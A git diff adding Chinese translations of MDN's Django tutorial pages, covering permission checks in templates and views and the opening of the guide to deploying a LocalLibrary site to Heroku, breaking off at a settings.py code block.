<code>\{{ perms }}</code>的模板变量中。您可以使用关联的Django “app” 中的特定变量名,来检查当前用户是否具有特定权限 - 例如,如果用户具有此权限,则 <code>\{{ perms.catalog.can_mark_returned }}</code>将为True,否则为False。我们通常使用模板标记 <code>{% if %}</code> 测试权限,如下所示:</p> + +<pre class="brush: python">{% if perms.catalog.<code>can_mark_returned</code> %} + <!-- We can mark a BookInstance as returned. --> + <!-- Perhaps add code to link to a "book return" view here. --> +{% endif %} +</pre> + +<h3 id="视图">视图</h3> + +<p>在功能视图中,可以使用 <code>permission_required</code>装饰器,或在基于类别的视图中,使用 <code>PermissionRequiredMixin</code>测试权限。模式和行为与登录身份验证相同,但当然您可能需要添加多个权限。</p> + +<p>功能视图装饰器:</p> + +<pre class="brush: python">from django.contrib.auth.decorators import permission_required + +@permission_required('catalog.<code>can_mark_returned</code>') +@permission_required('catalog.<code>can_edit</code>') +def my_view(request): + ...</pre> + +<p>基于类别视图的权限要求 mixin。</p> + +<pre class="brush: python">from django.contrib.auth.mixins import PermissionRequiredMixin + +class MyView(PermissionRequiredMixin, View): + permission_required = 'catalog.<code>can_mark_returned</code>' + # Or multiple permissions + permission_required = ('catalog.<code>can_mark_returned</code>', 'catalog.can_edit') + # Note that 'catalog.can_edit' is just an example + # the catalog application doesn't have such permission!</pre> + +<h3 id="示例">示例</h3> + +<p>我们不会在这里更新 LocalLibrary;也许在下一个教程中!</p> + +<h2 id="挑战自己"><a id="Challenge_yourself" name="Challenge_yourself"></a>挑战自己</h2> + +<p>在本文前面,我们向您展示了,如何为当前用户创建一个页面,列出他们借用的书本。现在的挑战,是创建一个只对图书馆员可见的类似页面,它显示所有借用的书本,其中包括每个借用人的名字。</p> + +<p>您应该能够遵循与其他视图相同的模式。主要区别在于,您需要将视图限制为仅限图书馆员。您可以根据用户是否是工作人员(函数装饰器:<code>staff_member_required</code>,模板变量:<code>user.is_staff</code>)来执行此操作,但我们建议您改为使用<code>can_mark_returned</code>权限,和 <code>PermissionRequiredMixin</code>,如上一节所述。</p> + +<div class="warning"> +<p><strong>重要</strong>: 请记住,不要使用超级用户进行基于权限的测试(即使尚未定义权限,权限检查也会对超级用户返回 true)。而是要创建一个图书管理员用户,并添加所需的功能。</p> +</div> + +<p>完成后,您的页面应该类似于下面的屏幕截图。</p> + +<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p> + +<ul> +</ul> + +<h2 id="总结">总结</h2> + +<p>做的太好了 — 你已经创造了一个网站,图书馆用户可以登入并检视他们拥有的内容,图书管理员(有正确的授权)可以检视所有借出的书本以及借阅者。目前,我们仍然只是查看内容,但是当您想要开始修改和添加数据时,会使用相同的原则和技术。</p> + +<p>在我们的下一篇文章,我们将介绍如何使用Django 表单,收集使用者输入,然后开始修改我们储存的一些资料。</p> + +<h2 id="也可以参考">也可以参考</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/auth/">Django中的用户授权</a> (Django 文档)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/auth/default//">使用 Django 授权系统(默认) </a>(Django 文档)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/class-based-views/intro/#decorating-class-based-views">介绍从基于类别的视图 > 到使用装饰器的基于类别的视图</a> (Django 文档)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="本教程文档">本教程文档</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django 介绍</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">架设 Django 开发环境</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django 教程: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django 教程 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django 教程 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django 教程 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django 教程 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django 教程 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django 教程 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django 教程 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django 教程 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django 教程 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django 教程 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django 网页应用安全</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django 微博客</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/deployment/index.html b/files/zh-cn/learn/server-side/django/deployment/index.html new file mode 100644 index 0000000000..fe582da51f --- /dev/null +++ b/files/zh-cn/learn/server-side/django/deployment/index.html @@ -0,0 +1,675 @@ +--- +title: 'Django 教程 11: 部署 Django 到生产环境' +slug: learn/Server-side/Django/Deployment +translation_of: Learn/Server-side/Django/Deployment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> + +<p class="summary">现<font><font>在,您已经创建(并测试)了一个令人敬畏的</font></font><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style='color: rgb(63, 135, 166); margin: 0px; padding: 0px; border: 0px; text-decoration: none; font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: 20px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);'><font><font>LocalLibrary</font></font></a><font><font>网站,如果您希望将其安装在公共Web服务器上,以便图书馆工作人员和成员可以通过Internet访问它。</font><font>本文概述了如何找到主机来部署您的网站,以及您需要做什么才能让您的网站准备好生产</font></font>。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"><strong style='background-color: #ffe8d4; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: 700; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>先决条件</strong>:</th> + <td>完成所有先前的教程,包括: + <p><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Django/Testing">在线教学 10:测试 Django 的 Web 应用</a></p> + </td> + </tr> + <tr> + <th scope="row"><strong style='background-color: #ffe8d4; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: 700; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>目的</strong>:</th> + <td>了解您可以在何处以及如何将Django应用程序部署到生产环境。</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: medium; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>一旦您的网站完成(或完成“足够”开始公开测试),您将需要将其托管在比您的个人开发计算机更公开和可访问的地方。</span></p> + +<p style='font-style: normal; margin: 0px 0px 24px; padding: 0px; border: 0px; max-width: 42rem; color: rgb(51, 51, 51); font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: medium; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;'><font><font>到目前为止,您一直在开发环境中工作,使用Django开发Web服务器将您的站点共享到本地浏览器/网络,并使用暴露调试和其他私人信息的(不安全)开发设置运行您的网站。</font><font>在您可以从外部托管网站之前,您首先必须:</font></font></p> + +<ul style='font-style: normal; margin: 0px 0px 24px; padding: 0px 0px 0px 40px; border: 0px; max-width: 42rem; color: rgb(51, 51, 51); font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: medium; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;'> +</ul> + +<ul> + <li>对你的项目设置(project settings)做一定的修改</li> + <li>选择一个用来托管Django app的环境</li> + <li>选择一个用来托管所有静态文件的环境</li> + <li>设置一个产品级的设施来为你的网站服务</li> +</ul> + +<p style='font-style: normal; margin: 0px 0px 24px; padding: 0px; border: 0px; max-width: 42rem; color: rgb(51, 51, 51); font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: medium; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-style: initial;'><font><font>本教程为您选择托管站点提供了一些指导,简要概述了为了让您的Django应用程序可用于生产需要做什么以及如何将LocalLibrary网站安装到</font></font><a class="external external-icon" href="https://www.heroku.com/" rel="noopener" style="font-style: normal !important; color: rgb(63, 135, 166); margin: 0px; padding: 0px; border: 0px; text-decoration: none; white-space: pre-line;"><font><font>Heroku</font></font></a><font><font>云托管上服务。</font></font></p> + +<h2 id="什么是生产环境">什么是生产环境?</h2> + +<p>生产环境是一个由服务器电脑提供的环境,你将在这里运行你的网站,为外部使用提供服务。生产环境包括:</p> + +<ul> + <li>网站运行所需要的电脑硬件</li> + <li>操作系统 (例如 Linux, Windows).</li> + <li>编程语言运行库和框架库,在其上编写您的网站。</li> + <li>用于提供页面和其他内容的Web服务器(例如Nginx,Apache)。</li> + <li>在 Django 网站和 Web 服务器之间,传递“动态”请求的应用程序服务器。</li> + <li>您的网站所依赖的数据库。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 根据您的生产配置方式,您可能还有反向代理,负载均衡器等。</p> +</div> + +<p>服务器计算机可以位于您的场所,并通过快速链接连接到 Internet,但使用托管“在云中”的计算机更为常见。这实际上意味着,您的代码在托管公司的数据中心的某台远程计算机(或可能是“虚拟”计算机)上运行。远程服务器通常会以特定价格,提供一些保证级别的计算资源(例如CPU,RAM,存储器等)和互联网连接。</p> + +<p>这种可远程访问的计算/网络硬件,称为基础架构即服务(IaaS)。许多IaaS供应商,提供预安装特定操作系统的选项,您必须在其上安装生产环境的其他组件。其他供应商允许您选择功能更全面的环境,可能包括完整的 Django ,和 Web 服务器设置。</p> + +<div class="note"> +<p><strong>注意:</strong> 预构建环境可以使您的网站设置变得非常简单,因为它们会减少配置,但可用选项可能会限制您使用不熟悉的服务器(或其他组件),并且可能基于较旧版本的操作系统。通常最好自己安装组件,以便获得所需的组件,当您需要升级系统的某些部分时,您就知道从哪里开始!</p> +</div> + +<p>其他托管服务提供商,支持 Django 作为平台即服务(PaaS)产品的一部分。在这种托管中,您不必担心大多数生产环境(Web 服务器,应用程序服务器,负载平衡器),因为主机平台会为您处理这些(以及为了扩展您的应用程序,而需要做的大部分工作)。这使得部署非常简单,因为您只需要专注于 Web 应用程序,而不是所有其他服务器的基础结构。</p> + +<p>相对于 PaaS,一些开发人员会选择 IaaS 所提供的更高灵活性,而其他开发人员,则欣赏 PaaS 降低的维护开销,和更轻松地扩展。当您开始使用时,在 PaaS 系统上设置您的网站,要容易得多,因此我们将在本教程中这么做。</p> + +<div class="note"> +<p><strong>提示:</strong> 如果您选择一个 Python/Django 友好的托管服务提供商,他们应该提供有关如何使用不同配置的网络服务器,应用服务器,反向代理等设置 Django 网站的说明(如果您选择 PaaS,这就没有关系了)。例如,<a href="https://www.digitalocean.com/community/tutorials?q=django">Digital Ocean Django 社区文档 </a>中的各种配置,有许多手把手指南。</p> +</div> + +<h2 id="选择托管服务提供商">选择托管服务提供商</h2> + +<p>已知有超过100个托管服务提供商,积极支持或与 Django 合作(您可以在 <a href="http://djangofriendly.com/hosts/">Djangofriendly hosts </a>主机上,找到相当广泛的列表)。这些供应商提供不同类型的环境(IaaS,PaaS),以及不同价格、不同级别的计算和网络资源。</p> + +<p>选择主机时需要考虑的一些事项:</p> + +<ul> + <li>您的网站可能有多忙,以及满足该需求,所需的数据和计算资源的成本。</li> + <li>水平扩展(添加更多机器)和垂直扩展(升级到更强大的机器)的支持级别,以及这样做的成本。</li> + <li>供应商的数据中心位于何处,因此访问可能是最快的。</li> + <li>主机的历史正常运行时间,和停机时间的表现。</li> + <li>用于管理站点的工具 - 易于使用且安全(例如 SFTP 相比于 FTP)。</li> + <li>用于监控服务器的内置框架。</li> + <li>已知限制。有些主机会故意阻止某些服务(例如电子邮件)。其他在某些价格层中,仅提供一定时数的“实时时间”,或者仅提供少量存储空间。</li> + <li>额外的好处。一些提供商将提供免费域名和 SSL 证书支持,否则您将不得不为此支付费用。</li> + <li>您所依赖的“免费”等级,是否会随着时间的推移而过期,以及迁移到更昂贵等级的成本,是否意味着,您最好一开始就使用其他服务!</li> +</ul> + +<p>当你刚开始时,好消息是,有很多网站提供了 “免费” 的 “评估”、“开发者” 或 “爱好者” 计算环境。这些始终是资源相当受限/有限的环境,您需要注意,它们可能会在广告期限后过期。然而,它们非常适合在真实环境中,测试低流量站点,并且可以在您的站点变得更加繁忙时,付费取得更多资源,并轻松迁移。此类别中的热门选择包括<a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> 等。</p> + +<p>许多提供商还有“基本”层,可提供更多有用的计算能力和更少的限制。<a href="https://www.digitalocean.com/">Digital Ocean</a> 和 <a href="https://www.pythonanywhere.com/">Python Anywhere</a> ,就是流行的托管服务提供商的例子,提供相对便宜的基本计算等级(每月 5 美元到 10 美元不等)。</p> + +<div class="note"> +<p><strong>注意:</strong> 请记住,价格不是唯一的选择标准。如果您的网站成功,可能会发现,可扩展性是最重要的考虑因素。</p> +</div> + +<h2 id="让您的网站准备好发布">让您的网站准备好发布</h2> + +<p>使用 django-admin 和 manage.py 工具创建的 Django 骨架网站,是为了使开发更容易而配置的。出于安全性或性能原因,许多 Django 项目设置(在<strong>settings.py</strong>中指定),在生产应该是不同的。</p> + +<div class="note"> +<p><strong>提示:</strong> 通常有一个单独的 <strong>settings.py</strong> 文件用于生产环境,并从单独的文件或环境变量,导入敏感设置。即使其他源代码在公共存储库中可用,也应保护此文件。</p> +</div> + +<p>您必须检查的关键设置是:</p> + +<ul> + <li><code>DEBUG</code>. 这应该在生产环境中设置为 <code>False</code>(<code>DEBUG = False</code>)。这将停止显示敏感/机密调试跟踪和变量信息。</li> + <li><code>SECRET_KEY</code>. 这是用于CRSF保护等的大随机值。重要的是,生产中使用的密钥,不应在源代码管理中、或在生产服务器外部可访问。 Django文档表明,可能最好从环境变量加载,或从仅供服务的文件中读取。 + <pre class="notranslate"># Read SECRET_KEY from an environment variable +import os +SECRET_KEY = os.environ['SECRET_KEY'] + +#OR + +#Read secret key from a file +with open('/etc/secret_key.txt') as f: + SECRET_KEY = f.read().strip()</pre> + </li> +</ul> + +<p>让我们更改 LocalLibrary 应用程序,以便我们从环境变量中,读取<code>SECRET_KEY</code> 和 <code>DEBUG</code>变量(如果已定义),否则使用配置文件中的默认值。</p> + +<p>打开 <strong>/locallibrary/settings.py</strong>,禁用原始的<code>SECRET_KEY</code>配置,并加入如下以<strong>粗体</strong>显示的几行。在开发过程中,不会为密钥指定环境变量,因此将使用默认值(在此处使用的密钥,或密钥“泄漏”无关紧要,因为您不会在生产环境中使用它)。</p> + +<pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret! +# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag' +<strong>import os</strong> +<strong>SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag')</strong> +</pre> + +<p>然后注释掉现有的<code>DEBUG</code>设置,并如下所示,添加新的一行。</p> + +<pre class="brush: python notranslate"># SECURITY WARNING: don't run with debug turned on in production! +# DEBUG = True +<strong>DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )</strong> +</pre> + +<p>默认情况下,<code>DEBUG</code>的值为<code>True</code>,但如果<code>DJANGO_DEBUG</code>环境变量的值,设置为空字符串,则为<code>False</code>,例如,<code>DJANGO_DEBUG=''</code>。</p> + +<div class="note"> +<p><strong>注意</strong>: 如果我们可以直接将<code>DJANGO_DEBUG</code>环境变量设置为<code>True</code>或<code>False</code>,而不是分别使用“any string”或“empty string”,那将更直观。不幸的是,环境变量值存储为 Python 字符串,计算结果为 <code>False</code> 的唯一字符串,是空字符串(例如<code>bool('')==False</code>)。</p> +</div> + +<p><a href="https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/">部署清单(Django文档)</a>中,提供了您可能要更改的完整设置清单。您还可以使用下面的终端命令,列出其中的一些:</p> + +<pre class="brush: python notranslate">python3 manage.py check --deploy +</pre> + +<h2 id="示例:在Heroku上安装LocalLibrary">示例:在Heroku上安装LocalLibrary</h2> + +<p>本节提供了如何在 <a href="http://heroku.com">Heroku PaaS cloud </a>云上安装 LocalLibrary 的实际演示。</p> + +<h3 id="为何选择Heroku?">为何选择Heroku?</h3> + +<p>Heroku 是运行时间最长,且最受欢迎的基于云的 PaaS 服务之一。它最初只支持 Ruby 应用程序,但现在可用于托管来自许多编程环境的应用程序,包括 Django!</p> + +<p>我们选择使用Heroku有以下几个原因:</p> + +<ul> + <li>Heroku 有一个真正免费的免费套餐<a href="https://www.heroku.com/pricing">free tier</a> (尽管有一些限制)。</li> + <li>作为 PaaS,Heroku 为我们提供了大量的 Web 基础架构。这使得入门更加容易,因为您不必担心 Heroku 为我们提供的服务器,负载平衡器,反向代理或任何其他 Web 基础结构。</li> + <li>虽然它确实有一些限制,但这些不会影响本教程的应用程序。例如: + <ul> + <li>Heroku只提供短期储存,因此用户上传的文件无法安全地存储在 Heroku 本身。</li> + <li>如果半小时内没有请求,免费套餐将使不活动的网络应用程序进入睡眠。然后,该网站可能需要几秒钟才能被唤醒。</li> + <li>免费套餐将您网站运行的时间,限制为每月一定的小时数(不包括网站“睡着”的时间)。这对于低使用/演示站点来说很好,但如果需要100%的正常运行时间则不适用。</li> + <li>在 <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku 文档) 中列出了其他限制。</li> + </ul> + </li> + <li>大多数情况下它只是能工作,如果你最终喜欢它,扩展你的应用程序非常容易。</li> +</ul> + +<p>虽然 Heroku 非常适合用于此演示,但它可能并不适合您的真实网站。 Heroku可以轻松设置和扩展,但代价是灵活性较低,而且一旦退出免费套餐,可能会花费更多。</p> + +<h3 id="Heroku是如何工作的?">Heroku是如何工作的?</h3> + +<p>Heroku 在一个或多个 “<a href="https://devcenter.heroku.com/articles/dynos">Dynos</a>” 中,运行Django网站,这是一个独立的虚拟化 Unix 容器,提供运行应用程序所需的环境。<a href="https://devcenter.heroku.com/articles/dynos">Dynos </a>是完全隔离的,并且有一个短暂的文件系统(一个短暂的文件系统,每次dyno 重新启动时,都会清理/清空)。 Dynos 默认共享的唯一内容,是应用程序配置变量。 Heroku 内部使用负载均衡器,将 Web 流量分配给所有 “web” dynos。由于他们之间没有任何共享,Heroku可以通过添加更多 dynos ,来水平扩展应用程序(当然,您可能还需要扩展数据库,以接受其他连接)。</p> + +<p>由于文件系统是暂时的,因此无法直接安装应用程序所需的服务(例如数据库,队列,缓存系统,存储,电子邮件服务等)。取代的是,Heroku Web 应用程序,使用 Heroku 或第三方作为独立“附加组件”提供的支持服务。一旦连接到 Web 应用程序,dynos 就会使用应用程序配置变量中包含的信息,来访问服务。</p> + +<p>为了执行您的应用程序,Heroku 需要能够设置适当的环境,和依赖关系,并了解它是如何启动的。对于 Django 应用程序而言,我们在一些文本文件中提供此信息:</p> + +<ul> + <li><strong>runtime.txt</strong>:<strong> </strong>要使用的编程语言和版本。</li> + <li><strong>requirements.txt</strong>: Python组件依赖项,包括Django。</li> + <li><strong>Procfile</strong>: 启动 Web 应用程序要执行的进程列表。对于Django,这通常是 Gunicorn Web 应用程序服务器(带有 <code>.wsgi </code>脚本)。</li> + <li><strong>wsgi.py</strong>: 在 Heroku 环境中,调用我们的Django 应用程序的 <a href="http://wsgi.readthedocs.io/en/latest/what.html">WSGI </a>配置。</li> +</ul> + +<p>开发人员使用特殊的客户端应用程序/终端与 Heroku 交互,这很像Unix bash 脚本。这允许您上传存在 git 储存库中的代码,检查正在运行的进程,查看日志,设置配置变量等等!</p> + +<p>为了让我们的应用程序在Heroku上工作,我们需要将我们的 Django Web 应用程序,放入git储存库,添加上面的文件,集成数据库附加组件,并进行更改,以正确处理静态文件。</p> + +<p>完成所有操作后,我们可以设置 Heroku 帐户,获取 Heroku 客户端,并使用它来安装我们的网站。</p> + +<div class="note"> +<p><strong>注意:</strong> 以下说明反映了在撰写本书时,如何使用 Heroku。如果 Heroku 显着改变了他们的操作过程,您可能希望检查他们的设置文档:<a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">在Heroku上开始使用 Django</a>。</p> +</div> + +<p>就是您一开始所需的所有概述(请参阅 <a href="https://devcenter.heroku.com/articles/how-heroku-works">Heroku 如何工作</a>,以获取更全面的指南)。</p> + +<h3 id="在_Github_中创建应用程序储存库">在 Github 中创建应用程序储存库</h3> + +<p>Heroku 与 <strong>git</strong> 源代码版本控制系统紧密集成,使用它来上传/同步您对实时系统所做的任何更改。它通过添加一个名为 heroku 的新的heroku “远程” 储存库,来指向 Heroku 云上的源储存库。在开发期间,您使用 git 在“主”储存库中储存更改。如果要部署站点,请将更改同步到 Heroku 储存库。</p> + +<div class="note"> +<p><strong>注意:</strong> 如果您习惯于遵循良好的软件开发实践,那么您可能已经在使用 git,或其他一些 SCM 系统。如果您已有 git 储存库,则可以跳过此步骤。</p> +</div> + +<p>有很多方法可以使用 git,但最简单的方法之一,是首先在 <a href="https://github.com/">Github</a> 上建立一个帐户,在那里创建储存库,然后将它同步到本地:</p> + +<ol> + <li>访问 <a href="https://github.com/">https://github.com/</a> 并创建一个帐户。</li> + <li>登录后,点击顶部工具栏中的 + 链接,然后选择新建储存库 <strong>New repository</strong>。</li> + <li>填写此表单上的所有字段。虽然这些不是强制性的,但强烈建议使用它们。 + <ul> + <li>输入新的储存库名称(例如 django_local_library)和描述(例如 “用 Django编写的本地图书馆网站”)。</li> + <li>在Add .gitignore 选择列表中,选择 <strong>Python</strong>。</li> + <li>在添加许可证选择列表中,选择您想要的许可证。</li> + <li>选中使用自述文件初始化此储存库(<strong>Initialize this repository with a README)</strong>。</li> + </ul> + </li> + <li>点击 <strong>Create repository</strong>.</li> + <li>点击新仓库页面上的绿色 “克隆或下载”<strong> </strong>(<strong>Clone or download</strong>)按钮 。</li> + <li>从显示的对话框中的文本字段中复制URL值(它应该类似于: <strong>https://github.com/<em><your_git_user_id></em>/django_local_library.git</strong>)。</li> +</ol> + +<p>现在创建了储存库(“repo”),我们将要在本地计算机上克隆它:</p> + +<ol> + <li>为您的本地计算机安装 git(您可以在<a href="https://git-scm.com/downloads">此处</a>找到不同平台的版本)。</li> + <li>打开命令提示符/终端,并使用您在上面复制的 URL 克隆储存库: + <pre class="brush: bash notranslate">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/django_local_library.git +</pre> + 这将在当前目录下方创建储存库。</li> + <li>切换目录,到新的仓库。 + <pre class="brush: bash notranslate">cd django_local_library</pre> + </li> +</ol> + +<p>最后一步是复制你的应用程序,然后使用 git ,将文件添加到你的仓库:</p> + +<ol> + <li>将您的 Django 应用程序,复制到此文件夹(与 <strong>manage.py</strong> 级别相同的、和以下级别的所有文件,而<strong>不是</strong>包含 locallibrary 文件夹的文件)。</li> + <li>打开<strong>.gitignore</strong>文件,将以下几行复制到其底部,然后保存(此文件用于标识默认情况下,不应上传到 git 的文件)。 + <pre class="notranslate"># Text backup files +*.bak + +#Database +*.sqlite3</pre> + </li> + <li>打开命令提示符/终端,并使用<code>add</code>命令,将所有文件添加到 git。 + <pre class="brush: bash notranslate">git add -A +</pre> + </li> + <li>使用 status 命令,检查要添加的所有文件是否正确(您希望包含源文件,而不是二进制文件,临时文件等)。它应该看起来有点像下面的列表。 + <pre class="notranslate">> git status +On branch master +Your branch is up-to-date with 'origin/master'. +Changes to be committed: + (use "git reset HEAD <file>..." to unstage) + + modified: .gitignore + new file: catalog/__init__.py + ... + new file: catalog/migrations/0001_initial.py + ... + new file: templates/registration/password_reset_form.html</pre> + </li> + <li>如果您满意,请将文件提交到本地储存库: + <pre class="brush: bash notranslate">git commit -m "First version of application moved into github"</pre> + </li> + <li>然后使用以下内容,将本地储存库同步到 Github 网站: + <pre class="notranslate">git push origin master</pre> + </li> +</ol> + +<p>完成此操作后,您应该可以返回创建储存库的 Github上的页面,刷新页面,并看到您的整个应用程序已经上传。使用此添加/提交/推送循环,您可以在文件更改时,继续更新储存库。</p> + +<div class="note"> +<p><strong>提示:</strong> 这是备份您的“vanilla”项目的一个好时机 - 虽然我们将在以下部分中,进行的一些更改,可能对有些人在任何平台(或开发)上的部署有用,对其他人可能没有用。</p> + +<p>执行此操作的最佳方法,是使用 git 来管理您的修订。使用 git,您不仅可以回到特定的旧版本,而且可以在生产变更的单独“分支”中进行维护,并选择在生产和开发分支之间移动的任何更改。<a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">学习 Git</a> 非常值得,但超出了本主题的范围。</p> + +<p>最简单的方法是将文件复制到另一个位置。使用最符合您对 git 了解的方法!</p> +</div> + +<h3 id="更新_Heroku_的应用程序">更新 Heroku 的应用程序</h3> + +<p>本节介绍了您需要对 LocalLibrary 应用程序进行的更改,以使其在Heroku上运行。虽然 Heroku 的<a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">在 Heroku 使用 Django 入门教程</a>,假设您将使用 Heroku 客户端,来运行您的本地开发环境,但我们的更改,与现有的 Django 开发服务器,以及我们已经学习的工作方式兼容。</p> + +<h4 id="Procfile">Procfile</h4> + +<p>在 GitHub 储存库的根目录中,创建文件<code>Procfile</code>(无扩展名),以声明应用程序的进程类型和入口点。将以下文本复制到其中:</p> + +<pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre> + +<p>“<code>web:</code>”告诉 Heroku ,这是一个 web dyno,可以发送 HTTP 流量。在这个 dyno 中启动的进程,是 gunicorn,这是 Heruko 推荐的一种流行的 Web 应用程序服务器。我们使用模块 <code>locallibrary.wsgi</code>(使用我们的应用程序框架创建:<strong>/locallibrary/wsgi.py </strong>)中的配置信息启动 Gunicorn。</p> + +<h4 id="Gunicorn">Gunicorn</h4> + +<p><a href="http://gunicorn.org/">Gunicorn</a> 是推荐的 HTTP 服务器,用于 Heroku 上的 Django(如上面的 Procfile 中所述)。它是一个用于 WSGI 应用程序的纯 Python HTTP 服务器,可以在一个 dyno 中,运行多个 Python 并发进程(有关更多信息,请参阅<a href="https://devcenter.heroku.com/articles/python-gunicorn">使用 Gunicorn 部署 Python 应用程序</a>)。</p> + +<p>虽然在开发期间,我们不需要 Gunicorn 为我们的 LocalLibrary 应用程序提供服务,但我们将安装它,以便它成为我们在远程服务器上设置 Heroku 的 <a href="#requirements">requirements</a> 的一部分。</p> + +<p>使用 pip(我们在<a href="/zh-CN/docs/Learn/Server-side/Django/development_environment">设置开发环境</a>时安装)在命令行上,将 Gunicorn 安装到本地:</p> + +<pre class="brush: bash notranslate">pip3 install gunicorn +</pre> + +<h4 id="数据库配置">数据库配置</h4> + +<p>我们不能在 Heroku 上使用默认的 SQLite 数据库,因为它是基于文件的,并且每次应用程序重新启动时,都会从暂时的文件系统中删除它(通常每天一次,每次应用程序或其配置变量被更改时)。</p> + +<p>处理这种情况的 Heroku 机制,是使用<a href="https://elements.heroku.com/addons#data-stores">数据库加载项</a>,并使用来自加载项设置的环境<a href="https://devcenter.heroku.com/articles/config-vars">配置变量</a>的信息,来配置 Web 应用程序。有很多数据库选项,但我们将使用 Heroku postgres 数据库的<a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">爱好者等级</a>,因为它是免费的,被 Django 所支持,并在使用免费的爱好者 dyno 计划等级时,会自动添加到新的 Heroku 应用程序。</p> + +<p>使用名为<code>DATABASE_URL</code>的配置变量,将数据库连接信息提供给 Web dyno。Heroku 建议开发人员使用 <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url </a>套件包,以解析<code>DATABASE_URL</code>环境变量,并自动将其转换为 Django 所需的配置格式,而不是将此信息硬编码到 Django 中。除了安装 dj-database-url 套件包之外,我们还需要安装<a href="http://initd.org/psycopg/">psycopg2</a>,因为 Django 需要它与 Postgres 数据库进行交互。</p> + +<h5 id="dj-database-url_Django_database_configuration_from_environment_variable">dj-database-url (Django database configuration from environment variable)</h5> + +<p>在本地安装 dj-database-url,使其成为我们在远程服务器上设置 Heroku 的 <a href="#requirements">requirements</a> 的一部分:</p> + +<pre class="notranslate">$ pip3 install dj-database-url +</pre> + +<h5 id="settings.py">settings.py</h5> + +<p>打开<strong>/locallibrary/settings.py</strong>,并将以下配置复制到文件的底部:</p> + +<pre 